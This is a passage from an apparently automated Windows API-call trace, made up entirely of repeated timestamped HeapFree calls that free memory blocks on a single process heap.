returned 1 [0278.960] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.961] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.961] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0278.961] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0278.961] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0278.962] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.708] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0280.709] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0280.709] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.712] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0280.712] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.713] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.713] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0280.713] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.713] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.713] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0280.713] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.713] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.714] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.714] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0280.714] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.714] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.714] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0280.714] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.715] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.715] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.715] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.715] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.715] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0280.716] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.716] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.716] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0280.719] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0280.720] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0280.720] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0280.720] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0280.720] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0280.725] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.725] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0280.725] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.725] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3ee0070 | out: hHeap=0x630000) returned 1 [0280.725] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3220070 | out: hHeap=0x630000) returned 1 [0280.792] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3220070 | out: hHeap=0x630000) returned 1 [0280.793] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3220070 | out: hHeap=0x630000) returned 1 [0280.794] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0280.794] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0280.794] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0280.794] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.795] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.806] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.807] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f8b010 | out: hHeap=0x630000) returned 1 [0280.807] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0280.807] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0280.810] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.812] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0280.814] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.816] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.816] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0280.818] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.819] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0280.820] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0280.821] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4062fc8 | out: hHeap=0x630000) returned 1 [0281.106] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.106] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.106] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0281.106] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0281.106] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.106] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f69ee8 | out: hHeap=0x630000) returned 1 [0281.111] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.113] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.114] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.115] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.115] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.115] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.116] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.119] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.120] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0281.122] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.122] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.122] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.122] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.123] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.123] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.123] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.123] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.125] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0281.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.126] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0281.127] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.128] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.129] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.129] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.130] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.131] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.131] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0281.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0281.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0281.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.139] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0281.140] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.140] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.140] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0281.140] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0281.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0281.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0281.141] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.142] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0281.144] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.145] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.145] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.145] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.145] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0281.145] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0281.146] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.146] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.146] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.147] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.147] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.147] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.147] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.147] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.148] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.149] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.150] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.150] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.150] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.151] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.152] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.152] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.152] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.152] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.152] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.152] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.153] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.153] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.153] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.154] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0281.154] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4042fb8 | out: hHeap=0x630000) returned 1 [0281.154] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.562] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0281.562] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0281.562] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f47fe0 | out: hHeap=0x630000) returned 1 [0281.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0281.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0281.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0281.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0281.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0281.563] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0281.785] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0281.785] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0281.785] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0281.786] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0281.786] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0281.786] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0281.786] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0281.786] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0281.788] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0281.790] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0281.790] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0281.790] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0281.790] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.131] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.131] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.132] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3230078 | out: hHeap=0x630000) returned 1 [0282.136] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.138] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.407] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.407] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.407] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.407] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.408] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.411] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.412] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.413] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f9b018 | out: hHeap=0x630000) returned 1 [0282.414] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.414] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.423] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.423] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.423] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.423] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.423] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.424] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.425] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.426] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.427] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.427] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.428] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.428] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f79ef0 | out: hHeap=0x630000) returned 1 [0282.428] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x4052fc0 | out: hHeap=0x630000) returned 1 [0282.429] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f17fc8 | out: hHeap=0x630000) returned 1 [0282.430] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x3f27fd0 | out: hHeap=0x630000) returned 1 [0282.430] HeapFree (in: 